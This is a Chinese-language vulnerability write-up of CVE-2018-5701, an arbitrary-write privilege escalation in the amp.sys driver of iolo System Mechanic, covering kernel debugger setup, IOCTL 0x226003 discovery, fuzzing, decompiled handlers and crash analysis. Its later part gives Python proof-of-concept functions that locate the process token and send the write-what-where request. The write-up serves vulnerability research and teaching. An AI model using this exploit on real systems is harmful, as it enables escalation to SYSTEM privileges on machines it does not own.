CVE-2018-5701 System Mechanic 内核提权漏洞分析

System Mechanic工具软件被设计用来识别和处理常见和复杂的系统问题,该漏洞在其安装的amp.sys驱动中,可被利用将程序升级至SYSTEM权限。

漏洞信息

System Mechanic工具软件被设计用来识别和处理常见和复杂的系统问题。凭借其专利的性能技术,System Mechanic可以修复包括错误、崩溃和冻结在内的问题,并恢复您的PC,使其达到最大的速度、功率和稳定性。它能提升系统速度,修复问题,清除垃圾和保护隐私,并弥补安全漏洞。其他功能包括Liveboost、Powersense、超性能模式、netbooster、Stability Guard、Activecare、PC Cleanup、内存机械师等。

该漏洞在其安装的amp.sys驱动中,可被利用将程序升级至SYSTEM权限。

官方链接:https://www.iolo.com/products/system-mechanic/

Exploit Title    - System Shield AntiVirus & AntiSpyware Arbitrary Write Privilege Escalation
Date             - 29th January 2018
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.iolo.com/
Tested Version   - 5.0.0.136
Driver Version   - 5.4.11.1 - amp.sys
Tested on OS     - 64bit Windows 7 and Windows 10 (1709) 
CVE ID           - CVE-2018-5701
Vendor fix url   - 
Fixed Version    - 0day
Fixed driver ver - 0day

软件下载

amp.sys 及 SystemMechanicPro.exe 安装包:

链接:https://pan.baidu.com/s/17oSlRZZwjxdt2881n8TNhA

提取码:ff7k

测试环境

虚拟机:windows 10-10.0.18362
宿主机:win11
使用工具:

  1. DeviceTree
  2. WinObj
  3. IOCTLpus x64 v2.4
  4. IDA pro 8.3

双机调试环境搭建

虚拟机设置

VMware设置:

接下来使用管理员权限运行下面bat脚本:

@echo off
bcdedit /dbgsettings serial baudrate:115200 debugport:1
if %errorlevel% neq 0 (
    echo 错误: 无法设置调试器设置。
    goto End
)

bcdedit /copy {current} /d "DebugMode"
if %errorlevel% neq 0 (
    echo 错误: 无法复制当前BCD条目。
    goto End
)

for /f "tokens=2 delims={}" %%i in ('bcdedit /copy {current} /d "DebugMode"') do set NEWGUID={%%i}
if %errorlevel% neq 0 (
    echo 错误: 无法获取新的GUID。
    goto End
)

bcdedit /displayorder {current} %NEWGUID%
if %errorlevel% neq 0 (
    echo 错误: 无法更新显示顺序。
    goto End
)

bcdedit /debug %NEWGUID% ON
if %errorlevel% neq 0 (
    echo 错误: 无法启用调试。
    goto End
)

echo 操作成功完成。
:End
pause

或者逐步运行:

进入 win10 虚拟机管理员权限打开cmd,运行:

bcdedit /dbgsettings serial baudrate:115200 debugport:1

/dbgsettingsbcdedit 的一个选项,表示我们要设置 debug 的配置。接下来的 serial baudrate:115200 debugport:1/dbgsettings 的详细参数:

  • serial 表示我们选择使用串行端口进行调试。
  • baudrate:115200 表示串行端口的波特率(即信号传输速率)设置为 115200。
  • debugport:1 表示调试端口设置为 COM1。

复制一个开机选项,命名为DebugMode(可任意命名):

bcdedit /copy {current} /d DebugMode

运行结果:

C:\Windows\system32>bcdedit /copy {current} /d DebugMode
已将该项成功复制到 {72c29121-c9be-11ee-8aa3-dec98b57ae79}。

增加一个开机引导项,注意这个ID要填写上一条命令生成的一串数字或字母:

bcdedit /displayorder {current} {ID}

激活Debug模式:

bcdedit /debug {ID} ON

完整操作:

Microsoft Windows [版本 10.0.18362.30]
(c) 2019 Microsoft Corporation。保留所有权利。

C:\Windows\system32>bcdedit /dbgsettings serial baudrate:115200 debugport:1
操作成功完成。

C:\Windows\system32>bcdedit /copy {current} /d DebugMode
已将该项成功复制到 {72c29121-c9be-11ee-8aa3-dec98b57ae79}。

C:\Windows\system32>bcdedit /displayorder {current} {72c29121-c9be-11ee-8aa3-dec98b57ae79}
操作成功完成。

C:\Windows\system32>bcdedit /debug {72c29121-c9be-11ee-8aa3-dec98b57ae79} ON
操作成功完成。

接着重启虚拟机,选择DebugMode引导选项进入操作系统。(环境搭建起来后记得断网,否则会自动更新一些安全补丁影响调试)

如果端口号存在问题,删除虚拟机设置中的打印机设备。

物理机设置

创建windbg-x64的快捷方式,目标中设置为:

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe" -b -k com:pipe,port=\\.\pipe\com_1,baud=115200,resets=0 -y SRV*D:\symbol*http://msdl.microsoft.com/download/symbols

漏洞分析

漏洞触发

触发漏洞我们分为三个步骤:

  1. 寻找IOCTL
  2. 使用ioctlbf触发远程虚拟机中的BSOD
  3. 使用windbg查看调试符号

在我们的案例中,目标应用程序是: iolo – System Mechanic Pro v.15.5.0.61 (amp.sys)

安装过程中,请使用未安装其他杀软并且可以科学上网的虚拟机中选择完全安装。

安装后,我们利用 WinObj 恢复设备名称和权限,如下所示:

由于我们现在已经收集了设备名称(\Device\AMP),现在是寻找对应IOCTL代码的时候了。为此,我们必须将驱动程序 (amp.sys) 加载到反汇编器中(我们使用了 IDA),如果缺少,则添加以下所需的结构:

  • DRIVER_OBJECT
  • IRP
  • IO_STACK_LOCATION

到达 DriverEntry 函数并环顾四周,很明显驱动程序比我们想象的要复杂一些,我看到下面的代码:

if ( (unsigned __int8)sub_23750() )
{
sub_19EC0(RegistryPath);
started = sub_2CFE0(DriverObject);
if ( started >= 0 )
{
  started = FltRegisterFilter(DriverObject, &Registration, &Filter);
  if ( started >= 0 )
  {
    started = FltStartFiltering(Filter);
    if ( started >= 0 )
    {
      if ( (unsigned __int8)sub_28B60() )
    sub_2CC70(5i64);
      else
    started = -1073741670;
    }
  }
}
}

我们可以看到started = sub_2CFE0(DriverObject),该函数引用了DriverObject,查看该函数实现细节:

__int64 __fastcall sub_2CFE0(struct _DRIVER_OBJECT *a1)
{
  NTSTATUS v2; // [rsp+40h] [rbp-48h]
  struct _UNICODE_STRING DestinationString; // [rsp+58h] [rbp-30h] BYREF
  struct _UNICODE_STRING SymbolicLinkName; // [rsp+68h] [rbp-20h] BYREF

  memset(&unk_36BA8, 0, 0x2Cui64);
  dword_36BAC = sub_2C670("5.4.11");
  dword_36BB0 = sub_2C670("5.4.11");
  dword_36BB4 = sub_2C670(" 4.7.3");
  dword_36BB8 = 327742;
  dword_36BBC = 327689;
  dword_36BC0 = 0;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\AMP");
  v2 = IoCreateDevice(a1, 0x58u, &DestinationString, 0x22u, 0, 0, &DeviceObject);
  qword_36FD8 = (__int64)DeviceObject;
  if ( DeviceObject )
  {
    RtlInitUnicodeString(&DestinationString, L"\\Device\\AMP");
    RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\AMP");
    v2 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    if ( v2 >= 0 )
    {
      a1->MajorFunction[0] = (PDRIVER_DISPATCH)sub_2C8B0;
      a1->MajorFunction[2] = (PDRIVER_DISPATCH)sub_2C8B0;
      a1->MajorFunction[14] = (PDRIVER_DISPATCH)sub_2C580;
      a1->MajorFunction[15] = (PDRIVER_DISPATCH)sub_2CE80;
      qword_36FF8 = ExAllocatePool(NonPagedPool, 0x98ui64);
      if ( qword_36FF8 )
      {
        *(_DWORD *)qword_36FF8 = 9;
        *((_QWORD *)qword_36FF8 + 1) = sub_2CBA0;
        *((_DWORD *)qword_36FF8 + 4) = 24;
        *((_QWORD *)qword_36FF8 + 3) = sub_2CB20;
        *((_DWORD *)qword_36FF8 + 8) = 16;
        *((_QWORD *)qword_36FF8 + 5) = sub_2C960;
        *((_DWORD *)qword_36FF8 + 12) = 40;
        *((_QWORD *)qword_36FF8 + 7) = sub_2C850;
        *((_DWORD *)qword_36FF8 + 16) = 8;
        *((_QWORD *)qword_36FF8 + 9) = sub_2C7F0;
        *((_DWORD *)qword_36FF8 + 20) = 8;
        *((_QWORD *)qword_36FF8 + 11) = sub_18D20;
        *((_DWORD *)qword_36FF8 + 24) = 32;
        *((_QWORD *)qword_36FF8 + 13) = sub_2C510;
        *((_DWORD *)qword_36FF8 + 28) = 0;
        *((_QWORD *)qword_36FF8 + 15) = sub_2C360;
        *((_DWORD *)qword_36FF8 + 32) = 32;
        *((_QWORD *)qword_36FF8 + 17) = sub_2C460;
        *((_DWORD *)qword_36FF8 + 36) = 8;
        v2 = sub_166A0(qword_36FF8);
        if ( v2 >= 0 )
          v2 = 0;
      }
      else
      {
        v2 = -1073741670;
      }
    }
  }
  if ( v2 < 0 )
    sub_2C280();
  return (unsigned int)v2;
}

正如我们所看到的 DeviceName 被实例化和 DriverObject 被传递一样,我们非常有信心我们已经达到了正确的函数并继续反编译它。查看 MajorFunction[14] (偏移 0x0e 量) ,我们发现驱动程序IRP_MJ_DEVICE_CONTROL,如果存在一组系统定义的 I/O 控制代码 (IOCTL) ,驱动程序必须支持 (在 DispatchDeviceControl 例程中) 的请求。

双击 SUB_2C580 并反编译它(对应数组14),我们能够达到定义此驱动程序的 IOCTL 代码的点。接下来我们可以进一步解码IOCTL代码(0x226003),以深入了解内核用于访问随 IOCTL 请求传递的数据缓冲区的方法。使用OSR 在线 IOCTL 解码器工具,我们可以恢复以下信息:

METHOD_NEITHER:是最不安全的方法,可用于访问随 IOCTL 请求一起传递的数据缓冲区。使用此方法时,I/O 管理器不会对用户数据执行任何类型的验证,而只是将原始数据传递给驱动程序。

现在我们知道了 IOCTL 代码(0x226003)和DeviceName(\\Device\\AMP),我们可以继续对驱动程序进行fuzz并查找漏洞。

Ioctlbf 是专门用来fuzz ioctl的工具,语法非常容易理解,下载ioctlbf的可执行文件,然后运行:

ioctlbf.exe -d AMP -i 226003 -u -e

参数的含义为:

-d    Symbolic device name (without \\.\)                     设置驱动设备
-i    IOCTL code used as reference for scanning (see also -u) 设置IOCTL代码
-u    Fuzz only the IOCTL specified with -i                   只fuzz一个IOCTL
-e    Display error codes during IOCTL codes scanning         扫描期间显示错误日志

不出意外的话,你会看到BSOD:

此时windbg会发生断点:

Microsoft (R) Windows Debugger Version 10.0.22621.755 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \\.\pipe\com_1
Waiting to reconnect...
KDTARGET: Refreshing KD connection
Connected to Windows 10 18362 x64 target at (Mon Apr  8 18:28:49.016 2024 (UTC + 8:00)), ptr64 TRUE
Kernel Debugger connection established.

************* Path validation summary **************
Response                         Time (ms)     Location
Deferred                                       SRV*D:\symbol*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*D:\symbol*http://msdl.microsoft.com/download/symbols
Executable search path is: 
Windows 10 Kernel Version 18362 MP (2 procs) Free x64
Product: WinNt, suite: TerminalServer SingleUserTS
Edition build lab: 18362.1.amd64fre.19h1_release.190318-1202
Machine Name:
Kernel base = 0xfffff804`1b800000 PsLoadedModuleList = 0xfffff804`1bc43290
Debug session time: Mon Apr  8 18:28:48.384 2024 (UTC + 8:00)
System Uptime: 0 days 0:00:07.954
nt!DebugService2+0x5:
fffff804`1b9c45d5 cc              int     3
0: kd> g
Access violation - code c0000005 (!!! second chance !!!)
amp+0x6c8d:
fffff804`23a06c8d 488b0e          mov     rcx,qword ptr [rsi]

打印详细信息:

0: kd> !analyze -v

PROCESS_NAME:  ioctlbf.EXE

READ_ADDRESS:  0000000000000000 

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  0000000000000000

EXCEPTION_PARAMETER2:  0000000000000000

STACK_TEXT:  
fffff680`bbc6f6e0 ffff8281`28106510     : ffff8281`27379080 00000000`00000000 00000000`00000000 00000000`00000001 : amp+0x6c8d
fffff680`bbc6f6e8 ffff8281`27379080     : 00000000`00000000 00000000`00000000 00000000`00000001 00000000`00000001 : 0xffff8281`28106510
fffff680`bbc6f6f0 00000000`00000000     : 00000000`00000000 00000000`00000001 00000000`00000001 ffff8281`20d608d0 : 0xffff8281`27379080

SYMBOL_NAME:  amp+6c8d

MODULE_NAME: amp

IMAGE_NAME:  amp.sys

STACK_COMMAND:  .cxr; .ecxr ; kb

BUCKET_ID_FUNC_OFFSET:  6c8d

FAILURE_BUCKET_ID:  ACCESS_VIOLATION_amp!unknown_function

OS_VERSION:  10.0.18362.1

BUILDLAB_STR:  19h1_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {9d982166-878b-aa13-3034-b3099cea282a}

Followup:     MachineOwner
---------

可以看到一个看起来很像空指针解引用(null pointer dereference)的错误,可以判断出该驱动的Ioctl是存在问题的,需要进一步分析

分析 SUB_2C580 调度例程

sub_2C580函数是设备驱动程序中的一个调度例程,即当用户向设备发送DeviceIoControlAPI调用请求时,Windows操作系统会自动调用这个函数进行处理。使用 IDA Pro 我们可以看到这个函数有2个参数:

  1. 第一个参数(a1)是指向DeviceObject的指针,DeviceObject是代表设备驱动程序内部状态的核心数据结构。
  2. 第二个参数(a2)是指向IRP数据结构的指针,IRP包含了用户通过DeviceIoControlAPI发送过来的所有请求信息。

sub_2C580函数通过IRP获取到了当前的IO_STACK_LOCATION,这是一个包含了许多关键信息的数据结构,包括了用户通过DeviceIoControl发送过来的内存缓冲区。

在代码第11行,比较用户发送的IOCTL代码(保存在Parameters.Read.ByteOffset.LowPart成员变量中)和驱动程序中硬编码的值0x226003
如果它们相等,说明这是一个特定的请求操作,然后驱动程序会调用相应的处理函数sub_166D0
如果不相等,v6被设置为-1073741808(0xC0000010),这是一个错误代码,表示请求不成功。
然后,将v6的值设置为a2->IoStatus.Status并通过IofCompleteRequest返回给用户态。这个v6的值就是驱动返回给用户态的结果。
如果处理成功,v6里面就是成功的结果;如果出错,它就是错误代码。
当然,我们需要分析成功时触发sub_166D0的逻辑,这个函数被sub_2C580调用时传入了三个参数:

v6 = sub_166D0(v3, Parameters, Options);
  1. v3 是 IoIs32BitProcess函数的返回值。它是一个简单的布尔值,用于指示调用进程是32位(TRUE) 还是64位 (FALSE)。
  2. Parameters是指向存储创建命名管道参数的用户空间缓冲区的指针。此地址正是作为参数传递给 API 的 DeviceIoControl 缓冲区地址。
  3. Options是上述缓冲区的大小。

分析 SUB_166D0 处理函数

首先查看调用流程,Xrefs to SUB_166D0:

Xrefs from SUB_166D0

在用户发送的IOCTL代码等于驱动驱动程序中硬编码的值0x226003时,会调用SUB_166D0函数,我们分析一下这个函数的运行流程。具体伪代码如下:

__int64 __fastcall sub_166D0(char a1, unsigned int *a2, unsigned int a3)
{
  unsigned int v4; // eax
  __int64 v5; // r8
  __int64 v6; // rbx
  __int64 v8; // [rsp+20h] [rbp-28h] BYREF
  __int64 v9; // [rsp+28h] [rbp-20h]
  __int64 v10; // [rsp+30h] [rbp-18h]
  __int64 *v11; // [rsp+38h] [rbp-10h]
  __int64 v12; // [rsp+68h] [rbp+20h] BYREF

  if ( a1 )
  {
    if ( a3 >= 0xC )
    {
      v4 = *a2;
      v5 = (int)a2[1];
      v6 = (int)a2[2];
      goto LABEL_6;
    }
    return 0xC0000023i64;
  }
  if ( a3 < 0x18 )
    return 0xC0000023i64;
  v8 = *(_QWORD *)a2;
  v9 = *((_QWORD *)a2 + 1);
  v10 = *((_QWORD *)a2 + 2);
  v6 = v10;
  v5 = v9;
  v4 = v8;
LABEL_6:
  if ( !qword_38B28 )
    return 0xC0000001i64;
  if ( v4 >= *(_DWORD *)qword_38B28 )
    return 0xC000000Di64;
  v9 = v5;
  v8 = *(_QWORD *)(qword_38B28 + 16i64 * v4 + 8);
  LODWORD(v10) = *(_DWORD *)(qword_38B28 + 16i64 * v4 + 16);
  v11 = &v12;
  sub_16C40((__int64)&v8);
  if ( a1 )
    *(_DWORD *)v6 = v12;
  else
    *(_QWORD *)v6 = v12;
  return 0i64;
}

由于此函数比前一个函数稍微复杂一些,因此我们首先分析了各种返回值,以了解代码流和对输入施加的约束。
我们有 5 个 return 语句,每个语句都有一个状态代码。让我们将它们转换为十六进制并在此处列出它们:

  1. return 0xC0000023 == STATUS_BUFFER_TOO_SMALL
  2. return 0xC0000023 == STATUS_BUFFER_TOO_SMALL
  3. return 0xC0000001 == STATUS_UNSUCCESSFUL
  4. return 0xC000000D == STATUS_INVALID_PARAMETER
  5. return 0x0 == STATUS_SUCCESS

每个返回的状态码对应的信息是从MSDN上面找到的。

这个sub_166D0函数接受三个参数,我们分析一下每个参数对应的含义:

a1,类型为char,在函数中用作判断是否是32位或者64位的bool值。
a2,类型为unsigned int的指针,指向用户态传过来的buffer。
a3,类型为unsigned int,是用户态传过来的buffer的大小。

这与我们对引用这个函数时传入的参数的判断是正确的。
正如我们之前所说,a1是调用方传递给函数的第一个参数,是IoIs32BitProcess的返回值,而a3是缓冲区大小。因此,我们可以看到:

  1. 如果调用过程为32位,则缓冲区大小必须等于或大于12字节(0xC)。
  2. 相反,如果进程是64位,则它必须等于或大于24字节(0x18)。

在这两种情况下,如果缓冲区大小的长度合适,则代码将跳转到LABEL_6。在64位情况下,通过将buffer划分为3个8字节长的值来创建更多局部变量。

v8 = *(_QWORD *)a2;
v9 = *((_QWORD *)a2 + 1);
v10 = *((_QWORD *)a2 + 2);

这三行代码的含义是将传入函数的参数a2看作是一个指向64位(或者8字节)整数的指针,并将该指针指向的前三个64位整数的值赋给本地变量v8v9v10
具体来说:

  • v8 = *(_QWORD *)a2;:将a2转化为一个指向64位整数的指针,并将其所指向的值赋给v8
  • v9 = *((_QWORD *)a2 + 1);:将a2转化为一个指向64位整数的指针,向前移动一位,然后将其所指向的值赋给v9
  • v10 = *((_QWORD *)a2 + 2);:将a2转化为一个指向64位整数的指针,向前移动两位,然后将其所指向的值赋给v10

向前移动就是指向更高的地址移动,而向后移动就表示向更低的地址移动

然后将qword_38B28 + 16*v4 + 8的值赋给v8qword_38B28 + 16*v4 + 16的值赋给v10。然后,调用函数sub_16C40(&v8)

qword_38B28定义为在运行时填充的地址,其中包含32位值 0x00000009 。下面我们通过使用 WinDbg 在此函数上放置断点并使用我们之前找到的 IOCTL 代码调用 DeviceIoControl API 来理解这一点。为了能够发送任意 IOCTL 请求,我们利用了一个开源软件:IOCTLpus,这个软件可以将其视为可用于通过任意输入发出 DeviceIoControl 请求的工具。

使用 IOCTLpus 执行任意 DeviceIoControl 请求,逐渐更改 UserBuffer 值,我们发现该漏洞不是空指针解引用。将所有缓冲区的值设置为 0 是一种奇怪的 ioctlbf 行为,使漏洞看起来像是空指针取消引用,而不是实际的任意写入。

Tips:
lm vm amp:"lm vm amp" 命令的目的是查找并显示amp驱动的基址,然后可以在 IDA Pro 中进行重定位,这样就可以在 IDA Pro 和 Windbg 之间使用统一的地址进行切换。

1: kd> lm vm amp
Browse full module list
start             end                 module name
fffff802`42400000 fffff802`4242e000   amp        (deferred)             
    Image path: amp.sys
    Image name: amp.sys
    Browse all global symbols  functions  data
    Timestamp:        Wed Mar 26 03:59:30 2014 (5331E022)
    CheckSum:         0003819E
    ImageSize:        0002E000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
    Information from resource tables:

Unable to enumerate user-mode unloaded modules, Win32 error 0n30
  1. "fffff802-42400000 fffff802-4242e000":这是amp模块在内存中的起始地址和结束地址,从这可以知道这个模块在内存中的位置和大小。

接下来,可以将 "amp" 模块的基地址(也就是 fffff802 42400000)复制到 IDA Pro 中,通过 "Edit" -> "Segments" -> "Rebase Program" 来设置正在分析的文件的基地址。这样在IDA Pro与Windbg之间就可以保持一致。

运行ioctrl,设置Path为\\.\AMP,设置IOCTL Code为0x226003,设置发送数据为25字节(根据前文判断x64需要大于等于24字节)运行发送,如果不符合要求的话就会报错(注意使用自己编译版本的ioctlplus,官网的存在问题,并且Input size莫名其妙被遮挡了,自己编译也没有解决,但是并不影响使用):

发送25字节后,系统中断:

0: kd> g
Access violation - code c0000005 (!!! second chance !!!)
fffff802`42406c8d 488b0e          mov     rcx,qword ptr [rsi]

我们去IDA中查找对应的指令:

访问冲突发生在指令16C8Dmov rcx, [rsi]处。
查看 mov rcx, [rsi] 指令并追溯 rsi 分配和用法使我们发现rsi的值来自rcx寄存器:

(注意下文的地址前缀为0x0000000000010x0000000000016C47对应FFFFF80242406C47

.text:0000000000016C47                 mov     rbx, rcx
.text:0000000000016C89                 mov     rsi, [rbx+8]
.text:0000000000016C8D                 mov     rcx, [rsi]

在x86_64架构的Windows系统(必须是64位系统)的fastcall调用约定:前四个整数或者指针类型的函数参数将会分别传递给RCX,RDX,R8和R9寄存器。如果函数的参数数量超过4个,那么第五个以及之后的参数将会通过栈传递。

可以看到我们当前断点是发生在sub_16C40函数中的,在sub_166D的代码逻辑进入label_6后执行的函数为sub_16C40,具体的传入参数为sub_16C40(&v8)

在操作过程中,ioctlbf有一个奇异的行为,它会将整个用户缓冲区设置为0。这导致第1个用户缓冲区全部包含0,会被用来计算变量v8的值(通过这个公式:v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8))。然后,在执行mov rcx, [rsi]指令时,rsi是一个被解引用的非法内存位置的指针。

我们在sub_16C40的内部可以看到还有一个call指令:

我们先看这部分代码:

  **(_QWORD **)(a1 + 24) = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)(
                             **(_QWORD **)(a1 + 8),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64));

(*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1): 这部分代码将内存地址a1作为一个函数指针对待。这个函数接受四个QWORD(64位整数)作为参数,并返回一个__int64类型的值。

然后,这个函数被调用,并传递四个参数给它:

  • 第一个参数 **(_QWORD **)(a1 + 8),取a1 + 8这个地址的值,然后再对得到的值进行解引用,得到第一个参数。
  • 接下来的三个参数类似,都是取a1 + 8这个地址的值,并加上一个偏移值(8,16,24),然后解引用得到。

最后,函数的返回值被存储在**(_QWORD **)(a1 + 24)的位置。这是一个二级指针,将函数的返回值存储在这个二级指针指向的具体位置。

这个看起来还是比较复杂的,但是如果我们直接从汇编的角度看(就像分析上面的空指针解引用),我们只需要控制下面这部分就可以了:

.text:FFFFF80242406C9C                 call    qword ptr [rbx]

其中rbx由下面显示的靠近它的指令来传递:

.text:FFFFF80242406C47                 mov     rbx, rcx

分析 sub_16C40 函数

可以看到进入label_6后执行的函数为sub_16C40,具体的传入参数为sub_16C40(&v8)

void __fastcall sub_16C40(__int64 a1)
{
  unsigned __int64 v2; // rcx
  __int64 v3; // rax
  void *v4; // rsp
  char vars20; // [rsp+20h] [rbp+20h] BYREF

  v2 = *(unsigned int *)(a1 + 16);
  v3 = v2;
  if ( v2 < 0x20 )
  {
    v2 = 40i64;
    v3 = 32i64;
  }
  v4 = alloca(v2);
  if ( v3 - 32 > 0 )
    qmemcpy(&vars20, (const void *)(*(_QWORD *)(a1 + 8) + 32i64), v3 - 32);
  **(_QWORD **)(a1 + 24) = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)(
                             **(_QWORD **)(a1 + 8),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64),
                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64));
}

这个函数 sub_16C40 第一次从参数 a1 结构指定的位置读取一个 unsigned int,并存放到两个变量 v2v3 中,如果这个值小于32,则两个变量被设置为40和32。

然后函数分配一块大小为 v2 的内存,其地址存储在v4中。然后,如果 v3 大于32,那么函数从 a1 + 8 的值加32的位置复制 v3 - 32 个字节到 vars20。变量 vars20 的值,从a1 + 8 的位置读取一个 QWORD 然后加上32,然后从这个位置开始,复制 v3 - 32 个字节。

最后,函数假设在 a1 的位置有一个函数指针,这个函数接收4个 QWORD 参数,并将其返回值保存在 **(_QWORD **)(a1 + 24)。这四个参数分别是从 **(_QWORD **)(a1 + 8)*(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64)*(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64)*(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64) 这些位置获取的。

简单来说,这个函数是让你传入一个结构体,然后根据这个结构体的内容执行一些操作,包括复制内存和调用某个函数,并将结果存回结构体的的位置。具体的功能取决于传入结构体的内容。

构造poc

现在我们已经知道了具体的原理,下面可以进行poc的构造了,这里直接使用python(我发现python构造poc真的很简单,虽然不能投入实战但是可以快速复现),在https://www.exploit-db.com/exploits/43929上是使用的C进行实现的,感兴趣的可以使用这个版本。

下面是python poc的构造:

首先指定驱动名称AMP,指定了NtQuerySystemInformation和OpenProcessToken函数的参数类型和返回值类型:

NTSTATUS = DWORD
PHANDLE = POINTER(HANDLE)
PVOID = LPVOID = ULONG_PTR = c_void_p
UINT32 = c_uint32

DEVICE_NAME = "\\\\.\\AMP"

ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS

OpenProcessToken.argtypes = [HANDLE, DWORD , PHANDLE]
OpenProcessToken.restype  = BOOL

然后定义数据结构:

class WriteWhatWhere(Structure):
    # Misleading, we can only write 0xfffffffe in the address of "Where"
    _fields_ = [
        ("Header", UINT32),
        ("Trigger", PVOID),
        ("Where", PVOID)
    ]

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    _fields_ = [
        ("Object", PVOID),
        ("UniqueProcessId", PVOID),
        ("HandleValue", PVOID),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    _fields_ = [
        ("NumberOfHandles", PVOID),
        ("Reserved", PVOID),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]

WriteWhatWhere:用于构造漏洞利用的数据结构,包含三个字段:Header,Trigger和Where。

SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX:表示系统句柄表中的条目信息。

SYSTEM_HANDLE_INFORMATION_EX:表示系统句柄信息,包含句柄数量和句柄表条目信息。

get_token_by(target_pid, data, _filter=None)遍历系统句柄信息,寻找与给定进程ID (target_pid) 匹配的令牌句柄:

def get_token_by(target_pid, data, _filter=None):
    header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX))
    print('[+] Searching access token address')

    data = bytearray(data[16:])
    current_entry = 0
    address = None
    while current_entry < header[0].NumberOfHandles:
        address, pid, handle = struct.unpack('<QQQ', data[:24])
        data = data[40:]
        current_entry += 1

        if pid != target_pid:
            continue
        if _filter and handle != _filter.value:
            continue
        break # Found
    return address

get_token_address()获取当前进程的令牌句柄地址。它首先打开当前进程的令牌句柄,然后通过调用NtQuerySystemInformation查询所有系统句柄,最后调用get_token_by来获取与当前进程令牌匹配的句柄地址:

def get_token_address():
    status_info_length_mismatch = 0xC0000004
    token_query = 8

    current_process_handle = HANDLE(kernel32.GetCurrentProcess())
    pid = kernel32.GetCurrentProcessId()
    print('[+] Current Process PID: ' + str(pid))
    p_handle = HANDLE()

    if OpenProcessToken(current_process_handle, token_query, byref(p_handle)) == 0:
        print('[-] Error getting token handle: ' + str(kernel32.GetLastError()))
        sys.exit(1)

    print('[+] Found token handle at: {:08x}'.format(p_handle.value))

    nt_status = status_info_length_mismatch
    return_length = DWORD(0)
    system_information_length = 0
    handle_info = (c_ubyte * system_information_length)()

    while nt_status == status_info_length_mismatch:
        system_information_length += 0x1000
        handle_info = (c_ubyte * system_information_length)()
        nt_status = ntdll.NtQuerySystemInformation(
            SystemExtendedHandleInformation,
            byref(handle_info),
            system_information_length,
            byref(return_length)
        )

    token = get_token_by(pid, handle_info, _filter=p_handle)
    if token is None:
        print('[-] Error fetching token address')
        sys.exit(1)
    print('[+] Found token at {:08x}'.format(token))
    return token

然后通过write使用设备IO控制向指定内存地址写入数据:

def write(where):
    global device_handle

    bytes_returned = c_ulong()
    ioctl_arbitrary_overwrite = 0x226003

    user_data = c_buffer(32)
    user_data_p = addressof(user_data) + 32

    write_what_where = WriteWhatWhere()
    # Must be eight or we won't reach the vulnerable function
    write_what_where.Header = 0x8
    # Pointer to userland buffer
    write_what_where.Trigger = user_data_p
    # Pointer to overwrite with 0xfffffffe
    write_what_where.Where = where

    www = binascii.hexlify(bytes(bytearray(write_what_where)))
    print("[+] Write what where structure")
    print("  [>] Full structure: {}".format(b' '.join([www[i:i + 16] for i in range(0, 48, 16)])))
    print("  [>] What : 0xfffffffe")
    print("  [>] Where: {:08x}".format(write_what_where.Where))

    success = kernel32.DeviceIoControl(
        device_handle,
        ioctl_arbitrary_overwrite,
        byref(write_what_where),
        sizeof(write_what_where),
        0,
        0,
        byref(bytes_returned),
        None
    )

    if not success:
        print("  [-] Unable To Send DeviceIoControl")
        return

完整代码参考:https://gist.github.com/klezVirus/e69c1e745a789e4b5d2b3c7ed02da765

参考链接

https://www.exploit-db.com/exploits/43929
https://www.sysfiledown.com/
https://d1nn3r.github.io/2019/02/23/windbgConnectVM/
https://xz.aliyun.com/t/7282?time__1311=n4%2BxnD0GDtGQi%3DNqx05%2BbDyi8DkIOKKDgjnoD&alichlgref=https%3A%2F%2Fwww.google.com%2F
https://github.com/10cks/OSR_DeviceTree_Vuln

  • 发表于 2024-06-03 09:00:02
  • 阅读 ( 31520 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
10cks
10cks

12 篇文章

站长统计